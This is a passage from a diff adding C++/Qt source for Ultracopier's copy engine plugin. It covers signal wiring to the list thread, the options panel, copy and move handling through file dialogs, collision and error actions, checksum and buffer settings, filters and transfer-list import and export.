+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect newCollisionAction()");
+ if(!connect(listThread,&ListThread::newErrorAction, this,&copyEngine::newErrorAction, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect newErrorAction()");
+ if(!connect(listThread,&ListThread::isInPause, this,&copyEngine::isInPause, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect isInPause()");
+ if(!connect(listThread,&ListThread::error, this,&copyEngine::error, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect error()");
+ if(!connect(listThread,&ListThread::rmPath, this,&copyEngine::rmPath, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect rmPath()");
+ if(!connect(listThread,&ListThread::mkPath, this,&copyEngine::mkPath, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect mkPath()");
+ if(!connect(listThread,&ListThread::newActionOnList, this,&copyEngine::newActionOnList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect newActionOnList()");
+ if(!connect(listThread,&ListThread::pushFileProgression, this,&copyEngine::pushFileProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect pushFileProgression()");
+ if(!connect(listThread,&ListThread::pushGeneralProgression, this,&copyEngine::pushGeneralProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect pushGeneralProgression()");
+ if(!connect(listThread,&ListThread::syncReady, this,&copyEngine::syncReady, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect syncReady()");
+ if(!connect(listThread,&ListThread::canBeDeleted, this,&copyEngine::canBeDeleted, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect canBeDeleted()");
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ if(!connect(listThread,&ListThread::debugInformation, this,&copyEngine::debugInformation, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect debugInformation()");
+ #endif
+
+ if(!connect(listThread,&ListThread::send_fileAlreadyExists, this,&copyEngine::fileAlreadyExistsSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_fileAlreadyExists()");
+ if(!connect(listThread,&ListThread::send_errorOnFile, this,&copyEngine::errorOnFileSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_errorOnFile()");
+ if(!connect(listThread,&ListThread::send_folderAlreadyExists, this,&copyEngine::folderAlreadyExistsSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_folderAlreadyExists()");
+ if(!connect(listThread,&ListThread::send_errorOnFolder, this,&copyEngine::errorOnFolderSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_errorOnFolder()");
+ if(!connect(listThread,&ListThread::updateTheDebugInfo, this,&copyEngine::updateTheDebugInfo, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect updateTheDebugInfo()");
+ if(!connect(listThread,&ListThread::errorTransferList, this,&copyEngine::errorTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect errorTransferList()");
+ if(!connect(listThread,&ListThread::warningTransferList, this,&copyEngine::warningTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect warningTransferList()");
+ if(!connect(listThread,&ListThread::mkPathErrorOnFolder, this,&copyEngine::mkPathErrorOnFolderSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect mkPathErrorOnFolder()");
+ if(!connect(listThread,&ListThread::rmPathErrorOnFolder, this,&copyEngine::rmPathErrorOnFolderSlot, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect rmPathErrorOnFolder()");
+ if(!connect(listThread,&ListThread::send_realBytesTransfered, this,&copyEngine::get_realBytesTransfered, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_realBytesTransfered()");
+
+ if(!connect(this,&copyEngine::tryCancel, listThread,&ListThread::tryCancel, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect tryCancel()");
+ if(!connect(this,&copyEngine::signal_pause, listThread,&ListThread::pause, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_pause()");
+ if(!connect(this,&copyEngine::signal_resume, listThread,&ListThread::resume, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_resume()");
+ if(!connect(this,&copyEngine::signal_skip, listThread,&ListThread::skip, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_skip()");
+ if(!connect(this,&copyEngine::signal_setCollisionAction, listThread,&ListThread::setAlwaysFileExistsAction, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_setCollisionAction()");
+ if(!connect(this,&copyEngine::signal_setFolderColision, listThread,&ListThread::setFolderColision, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_setFolderColision()");
+ if(!connect(this,&copyEngine::signal_removeItems, listThread,&ListThread::removeItems, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_removeItems()");
+ if(!connect(this,&copyEngine::signal_moveItemsOnTop, listThread,&ListThread::moveItemsOnTop, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsOnTop()");
+ if(!connect(this,&copyEngine::signal_moveItemsUp, listThread,&ListThread::moveItemsUp, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsUp()");
+ if(!connect(this,&copyEngine::signal_moveItemsDown, listThread,&ListThread::moveItemsDown, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsDown()");
+ if(!connect(this,&copyEngine::signal_moveItemsOnBottom, listThread,&ListThread::moveItemsOnBottom, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_moveItemsOnBottom()");
+ if(!connect(this,&copyEngine::signal_exportTransferList, listThread,&ListThread::exportTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_exportTransferList()");
+ if(!connect(this,&copyEngine::signal_importTransferList, listThread,&ListThread::importTransferList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_importTransferList()");
+ if(!connect(this,&copyEngine::signal_forceMode, listThread,&ListThread::forceMode, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect signal_forceMode()");
+ if(!connect(this,&copyEngine::send_osBufferLimit, listThread,&ListThread::set_osBufferLimit, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_osBufferLimit()");
+ if(!connect(this,&copyEngine::send_setFilters,listThread,&ListThread::set_setFilters, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_setFilters()");
+ if(!connect(this,&copyEngine::send_sendNewRenamingRules,listThread,&ListThread::set_sendNewRenamingRules, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect send_sendNewRenamingRules()");
+ if(!connect(&timerActionDone,&QTimer::timeout, listThread,&ListThread::sendActionDone))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect timerActionDone");
+ if(!connect(&timerProgression,&QTimer::timeout, listThread,&ListThread::sendProgression))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect timerProgression");
+
+ if(!connect(this,&copyEngine::queryOneNewDialog,this,&copyEngine::showOneNewDialog,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect queryOneNewDialog()");
+}
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+void copyEngine::updateTheDebugInfo(QStringList newList,QStringList newList2,int numberOfInodeOperation)
+{
+ debugDialogWindow.setTransferThreadList(newList);
+ debugDialogWindow.setTransferList(newList2);
+ debugDialogWindow.setInodeUsage(numberOfInodeOperation);
+}
+#endif
+
+//to send the options panel
+bool copyEngine::getOptionsEngine(QWidget * tempWidget)
+{
+ this->tempWidget=tempWidget;
+ ui->setupUi(tempWidget);
+ connect(tempWidget, &QWidget::destroyed, this, &copyEngine::resetTempWidget);
+ //conect the ui widget
+/* connect(ui->doRightTransfer, &QCheckBox::toggled, &threadOfTheTransfer, &copyEngine::setRightTransfer);
+ connect(ui->keepDate, &QCheckBox::toggled, &threadOfTheTransfer, &copyEngine::setKeepDate);
+ connect(ui->blockSize, &QCheckBox::valueChanged, &threadOfTheTransfer, &copyEngine::setBlockSize);*/
+ connect(ui->autoStart, &QCheckBox::toggled, this, &copyEngine::setAutoStart);
+ connect(ui->checkBoxDestinationFolderExists, &QCheckBox::toggled,this, &copyEngine::setCheckDestinationFolderExists);
+ uiIsInstalled=true;
+ setRightTransfer(doRightTransfer);
+ setKeepDate(keepDate);
+ setSpeedLimitation(maxSpeed);
+ setBlockSize(blockSize);
+ setAutoStart(autoStart);
+ setCheckDestinationFolderExists(checkDestinationFolderExists);
+ set_doChecksum(doChecksum);
+ set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+ set_checksumOnlyOnError(checksumOnlyOnError);
+ set_osBuffer(osBuffer);
+ set_osBufferLimited(osBufferLimited);
+ set_osBufferLimit(osBufferLimit);
+ return true;
+}
+
+//to have interface widget to do modal dialog
+void copyEngine::setInterfacePointer(QWidget * interface)
+{
+ this->interface=interface;
+ filters=new Filters(tempWidget);
+ renamingRules=new RenamingRules(tempWidget);
+
+ if(uiIsInstalled)
+ {
+ connect(ui->doRightTransfer, &QCheckBox::toggled, this,&copyEngine::setRightTransfer);
+ connect(ui->keepDate, &QCheckBox::toggled, this,&copyEngine::setKeepDate);
+ connect(ui->blockSize, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&copyEngine::setBlockSize);
+ connect(ui->autoStart, &QCheckBox::toggled, this,&copyEngine::setAutoStart);
+ connect(ui->doChecksum, &QCheckBox::toggled, this,&copyEngine::doChecksum_toggled);
+ connect(ui->checksumIgnoreIfImpossible, &QCheckBox::toggled, this,&copyEngine::checksumIgnoreIfImpossible_toggled);
+ connect(ui->checksumOnlyOnError, &QCheckBox::toggled, this,&copyEngine::checksumOnlyOnError_toggled);
+ connect(ui->osBuffer, &QCheckBox::toggled, this,&copyEngine::osBuffer_toggled);
+ connect(ui->osBufferLimited, &QCheckBox::toggled, this,&copyEngine::osBufferLimited_toggled);
+ connect(ui->osBufferLimit, &QSpinBox::editingFinished, this,&copyEngine::osBufferLimit_editingFinished);
+
+ connect(filters,&Filters::haveNewFilters,this,&copyEngine::sendNewFilters);
+ connect(ui->filters,&QPushButton::clicked,this,&copyEngine::showFilterDialog);
+
+ if(!connect(renamingRules,&RenamingRules::sendNewRenamingRules,this,&copyEngine::sendNewRenamingRules))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect sendNewRenamingRules()");
+ if(!connect(ui->renamingRules,&QPushButton::clicked,this,&copyEngine::showRenamingRules))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect renamingRules.clicked()");
+ }
+
+ filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ set_setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+
+ renamingRules->setRenamingRules(firstRenamingRule,otherRenamingRule);
+ emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+bool copyEngine::haveSameSource(const QStringList &sources)
+{
+ return listThread->haveSameSource(sources);
+}
+
+bool copyEngine::haveSameDestination(const QString &destination)
+{
+ return listThread->haveSameDestination(destination);
+}
+
+bool copyEngine::newCopy(const QStringList &sources)
+{
+ if(forcedMode && mode!=Copy)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to move, you can't copy with it"));
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QString destination = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select destination directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
+ if(destination.isEmpty() || destination.isNull() || destination=="")
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Canceled by the user");
+ return false;
+ }
+ return listThread->newCopy(sources,destination);
+}
+
+bool copyEngine::newCopy(const QStringList &sources,const QString &destination)
+{
+ if(forcedMode && mode!=Copy)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to move, you can't copy with it"));
+ return false;
+ }
+ return listThread->newCopy(sources,destination);
+}
+
+bool copyEngine::newMove(const QStringList &sources)
+{
+ if(forcedMode && mode!=Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to copy, you can't move with it"));
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QString destination = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select destination directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
+ if(destination.isEmpty() || destination.isNull() || destination=="")
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Canceled by the user");
+ return false;
+ }
+ return listThread->newMove(sources,destination);
+}
+
+bool copyEngine::newMove(const QStringList &sources,const QString &destination)
+{
+ if(forcedMode && mode!=Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to copy, you can't move with it"));
+ return false;
+ }
+ return listThread->newMove(sources,destination);
+}
+
+void copyEngine::newTransferList(const QString &file)
+{
+ emit signal_importTransferList(file);
+}
+
+//because direct access to list thread into the main thread can't be do
+quint64 copyEngine::realByteTransfered()
+{
+ return size_for_speed;
+}
+
+//speed limitation
+qint64 copyEngine::getSpeedLimitation()
+{
+ return listThread->getSpeedLimitation();
+}
+
+//get collision action
+QList<QPair<QString,QString> > copyEngine::getCollisionAction()
+{
+ QPair<QString,QString> tempItem;
+ QList<QPair<QString,QString> > list;
+ tempItem.first=facilityEngine->translateText("Ask");tempItem.second="ask";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Skip");tempItem.second="skip";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Overwrite");tempItem.second="overwrite";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Overwrite if newer");tempItem.second="overwriteIfNewer";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Overwrite if the last modification dates are different");tempItem.second="overwriteIfNotSameModificationDate";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Rename");tempItem.second="rename";list << tempItem;
+ return list;
+}
+
+QList<QPair<QString,QString> > copyEngine::getErrorAction()
+{
+ QPair<QString,QString> tempItem;
+ QList<QPair<QString,QString> > list;
+ tempItem.first=facilityEngine->translateText("Ask");tempItem.second="ask";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Skip");tempItem.second="skip";list << tempItem;
+ tempItem.first=facilityEngine->translateText("Put to end of the list");tempItem.second="putToEndOfTheList";list << tempItem;
+ return list;
+}
+
+void copyEngine::setDrive(const QStringList &drives)
+{
+ listThread->setDrive(drives);
+}
+
+/** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+void copyEngine::syncTransferList()
+{
+ listThread->syncTransferList();
+}
+
+void copyEngine::set_doChecksum(bool doChecksum)
+{
+ listThread->set_doChecksum(doChecksum);
+ if(uiIsInstalled)
+ {
+ ui->doChecksum->setChecked(doChecksum);
+ ui->checksumOnlyOnError->setEnabled(ui->doChecksum->isChecked());
+ ui->checksumIgnoreIfImpossible->setEnabled(ui->doChecksum->isChecked());
+ }
+ this->doChecksum=doChecksum;
+}
+
+void copyEngine::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
+{
+ listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+ if(uiIsInstalled)
+ ui->checksumIgnoreIfImpossible->setChecked(checksumIgnoreIfImpossible);
+ this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
+}
+
+void copyEngine::set_checksumOnlyOnError(bool checksumOnlyOnError)
+{
+ listThread->set_checksumOnlyOnError(checksumOnlyOnError);
+ if(uiIsInstalled)
+ ui->checksumOnlyOnError->setChecked(checksumOnlyOnError);
+ this->checksumOnlyOnError=checksumOnlyOnError;
+}
+
+void copyEngine::set_osBuffer(bool osBuffer)
+{
+ listThread->set_osBuffer(osBuffer);
+ if(uiIsInstalled)
+ {
+ ui->osBuffer->setChecked(osBuffer);
+ updateBufferCheckbox();
+ }
+ this->osBuffer=osBuffer;
+}
+
+void copyEngine::set_osBufferLimited(bool osBufferLimited)
+{
+ listThread->set_osBufferLimited(osBufferLimited);
+ if(uiIsInstalled)
+ {
+ ui->osBufferLimited->setChecked(osBufferLimited);
+ updateBufferCheckbox();
+ }
+ this->osBufferLimited=osBufferLimited;
+}
+
+void copyEngine::set_osBufferLimit(unsigned int osBufferLimit)
+{
+ emit send_osBufferLimit(osBufferLimit);
+ if(uiIsInstalled)
+ ui->osBufferLimit->setValue(osBufferLimit);
+ this->osBufferLimit=osBufferLimit;
+}
+
+void copyEngine::updateBufferCheckbox()
+{
+ ui->osBufferLimited->setEnabled(ui->osBuffer->isChecked());
+ ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
+}
+
+void copyEngine::set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
+{
+ if(filters!=NULL)
+ {
+ filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ emit send_setFilters(filters->getInclude(),filters->getExclude());
+ }
+ this->includeStrings=includeStrings;
+ this->includeOptions=includeOptions;
+ this->excludeStrings=excludeStrings;
+ this->excludeOptions=excludeOptions;
+}
+
+void copyEngine::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
+{
+ sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+bool copyEngine::userAddFolder(const CopyMode &mode)
+{
+ QString source = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select source directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
+ if(source.isEmpty() || source.isNull() || source=="")
+ return false;
+ if(mode==Copy)
+ return newCopy(QStringList() << source);
+ else
+ return newMove(QStringList() << source);
+}
+
+bool copyEngine::userAddFile(const CopyMode &mode)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QStringList sources = QFileDialog::getOpenFileNames(
+ interface,
+ facilityEngine->translateText("Select one or more files to open"),
+ "",
+ facilityEngine->translateText("All files")+" (*)");
+ if(sources.isEmpty())
+ return false;
+ if(mode==Copy)
+ return newCopy(sources);
+ else
+ return newMove(sources);
+}
+
+void copyEngine::pause()
+{
+ emit signal_pause();
+}
+
+void copyEngine::resume()
+{
+ emit signal_resume();
+}
+
+void copyEngine::skip(const quint64 &id)
+{
+ emit signal_skip(id);
+}
+
+void copyEngine::cancel()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ stopIt=true;
+ timerProgression.stop();
+ timerActionDone.stop();
+ emit tryCancel();
+}
+
+void copyEngine::removeItems(const QList<int> &ids)
+{
+ emit signal_removeItems(ids);
+}
+
+void copyEngine::moveItemsOnTop(const QList<int> &ids)
+{
+ emit signal_moveItemsOnTop(ids);
+}
+
+void copyEngine::moveItemsUp(const QList<int> &ids)
+{
+ emit signal_moveItemsUp(ids);
+}
+
+void copyEngine::moveItemsDown(const QList<int> &ids)
+{
+ emit signal_moveItemsDown(ids);
+}
+
+void copyEngine::moveItemsOnBottom(const QList<int> &ids)
+{
+ emit signal_moveItemsOnBottom(ids);
+}
+
+/** \brief give the forced mode, to export/import transfer list */
+void copyEngine::forceMode(const CopyMode &mode)
+{
+ if(forcedMode)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Mode forced previously"));
+ QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The mode have been forced previously, it's internal error, please report it"));
+ return;
+ }
+ if(mode==Copy)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("Force mode to copy"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("Force mode to move"));
+ this->mode=mode;
+ forcedMode=true;
+ emit signal_forceMode(mode);
+}
+
+void copyEngine::exportTransferList()
+{
+ QString fileName = QFileDialog::getSaveFileName(NULL,facilityEngine->translateText("Save transfer list"),"transfer-list.lst",facilityEngine->translateText("Transfer list")+" (*.lst)");
+ if(fileName.isEmpty())
+ return;
+ emit signal_exportTransferList(fileName);
+}
+
+void copyEngine::importTransferList()
+{
+ QString fileName = QFileDialog::getOpenFileName(NULL,facilityEngine->translateText("Open transfer list"),"transfer-list.lst",facilityEngine->translateText("Transfer list")+" (*.lst)");
+ if(fileName.isEmpty())
+ return;
+ emit signal_importTransferList(fileName);
+}
+
+void copyEngine::warningTransferList(const QString &warning)
+{
+ QMessageBox::warning(interface,facilityEngine->translateText("Error"),warning);
+}
+
+void copyEngine::errorTransferList(const QString &error)
+{
+ QMessageBox::critical(interface,facilityEngine->translateText("Error"),error);
+}
+
+bool copyEngine::setSpeedLimitation(const qint64 &speedLimitation)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"maxSpeed: "+QString::number(speedLimitation));
+ maxSpeed=speedLimitation;
+ return listThread->setSpeedLimitation(speedLimitation);
+}
+
+void copyEngine::setCollisionAction(const QString &action)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"action: "+action);
+ if(action=="skip")
+ alwaysDoThisActionForFileExists=FileExists_Skip;
+ else if(action=="overwrite")
+ alwaysDoThisActionForFileExists=FileExists_Overwrite;
+ else if(action=="overwriteIfNewer")
+ alwaysDoThisActionForFileExists=FileExists_OverwriteIfNewer;
+ else if(action=="overwriteIfNotSameModificationDate")
+ alwaysDoThisActionForFileExists=FileExists_OverwriteIfNotSameModificationDate;
+ else if(action=="rename")
+ alwaysDoThisActionForFileExists=FileExists_Rename;
+ else
+ alwaysDoThisActionForFileExists=FileExists_NotSet;
+ emit signal_setCollisionAction(alwaysDoThisActionForFileExists);
+}
+
+void copyEngine::setErrorAction(const QString &action)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"action: "+action);
+ if(action=="skip")
+ alwaysDoThisActionForFileError=FileError_Skip;
+ else if(action=="putToEndOfTheList")
+ alwaysDoThisActionForFileError=FileError_PutToEndOfTheList;
+ else
+ alwaysDoThisActionForFileError=FileError_NotSet;
+}
+
+void copyEngine::setRightTransfer(const bool doRightTransfer)
+{
+ this->doRightTransfer=doRightTransfer;
+ if(uiIsInstalled)
+ ui->doRightTransfer->setChecked(doRightTransfer);
+ listThread->setRightTransfer(doRightTransfer);
+}
+
+//set keep date
+void copyEngine::setKeepDate(const bool keepDate)
+{
+ this->keepDate=keepDate;
+ if(uiIsInstalled)
+ ui->keepDate->setChecked(keepDate);
+ listThread->setKeepDate(keepDate);
+}
+
+//set block size in KB
+void copyEngine::setBlockSize(const int blockSize)
+{
+ this->blockSize=blockSize;
+ if(uiIsInstalled)
+ ui->blockSize->setValue(blockSize);
+ listThread->setBlockSize(blockSize);
+}
+
+//set auto start
+void copyEngine::setAutoStart(const bool autoStart)
+{
+ this->autoStart=autoStart;
+ if(uiIsInstalled)
+ ui->autoStart->setChecked(autoStart);
+ listThread->setAutoStart(autoStart);
+}
+
+//set check destination folder
+void copyEngine::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
+{
+ this->checkDestinationFolderExists=checkDestinationFolderExists;
+ if(uiIsInstalled)
+ ui->checkBoxDestinationFolderExists->setChecked(checkDestinationFolderExists);
+ listThread->setCheckDestinationFolderExists(checkDestinationFolderExists);
+}
+
+//reset widget
+void copyEngine::resetTempWidget()
+{
+ tempWidget=NULL;
+}
+
+void copyEngine::on_comboBoxFolderColision_currentIndexChanged(int index)
+{
+ switch(index)
+ {
+ case 0:
+ setComboBoxFolderColision(FolderExists_NotSet,false);
+ break;
+ case 1:
+ setComboBoxFolderColision(FolderExists_Merge,false);
+ break;
+ case 2:
+ setComboBoxFolderColision(FolderExists_Skip,false);
+ break;
+ case 3:
+ setComboBoxFolderColision(FolderExists_Rename,false);
+ break;
+ }
+}
+
+void copyEngine::on_comboBoxFolderError_currentIndexChanged(int index)
+{
+ switch(index)
+ {
+ case 0:
+ setComboBoxFolderError(FileError_NotSet,false);
+ break;
+ case 1:
+ setComboBoxFolderError(FileError_Skip,false);
+ break;
+ }
+}
+
+//set the translate
+void copyEngine::newLanguageLoaded()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, retranslate the widget options");
+ if(tempWidget!=NULL)
+ ui->retranslateUi(tempWidget);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"ui not loaded!");
+}
+
+void copyEngine::setComboBoxFolderColision(FolderExistsAction action,bool changeComboBox)
+{
+ alwaysDoThisActionForFolderExists=action;
+ emit signal_setFolderColision(alwaysDoThisActionForFolderExists);
+ if(!changeComboBox || !uiIsInstalled)
+ return;
+ switch(action)
+ {
+ case FolderExists_Merge:
+ ui->comboBoxFolderColision->setCurrentIndex(1);
+ break;
+ case FolderExists_Skip:
+ ui->comboBoxFolderColision->setCurrentIndex(2);
+ break;
+ case FolderExists_Rename:
+ ui->comboBoxFolderColision->setCurrentIndex(3);
+ break;
+ default:
+ ui->comboBoxFolderColision->setCurrentIndex(0);
+ break;
+ }
+}
+
+void copyEngine::setComboBoxFolderError(FileErrorAction action,bool changeComboBox)
+{
+ alwaysDoThisActionForFileError=action;
+ if(!changeComboBox || !uiIsInstalled)
+ return;
+ switch(action)
+ {
+ case FileError_Skip:
+ ui->comboBoxFolderError->setCurrentIndex(1);
+ break;
+ default:
+ ui->comboBoxFolderError->setCurrentIndex(0);
+ break;
+ }
+}
+
+void copyEngine::doChecksum_toggled(bool doChecksum)
+{
+ listThread->set_doChecksum(doChecksum);
+}
+
+void copyEngine::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
+{
+ listThread->set_checksumOnlyOnError(checksumOnlyOnError);
+}
+
+void copyEngine::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
+{
+ listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+}
+
+void copyEngine::osBuffer_toggled(bool osBuffer)
+{
+ listThread->set_osBuffer(osBuffer);
+ updateBufferCheckbox();
+}
+
+void copyEngine::osBufferLimited_toggled(bool osBufferLimited)
+{
+ listThread->set_osBufferLimited(osBufferLimited);
+ updateBufferCheckbox();
+}
+
+void copyEngine::osBufferLimit_editingFinished()
+{
+ emit send_osBufferLimit(ui->osBufferLimit->value());
+}
+
+void copyEngine::showFilterDialog()
+{
+ if(filters!=NULL)
+ filters->exec();
+}
+
+void copyEngine::sendNewFilters()
+{
+ if(filters!=NULL)
+ emit send_setFilters(filters->getInclude(),filters->getExclude());
+}
+
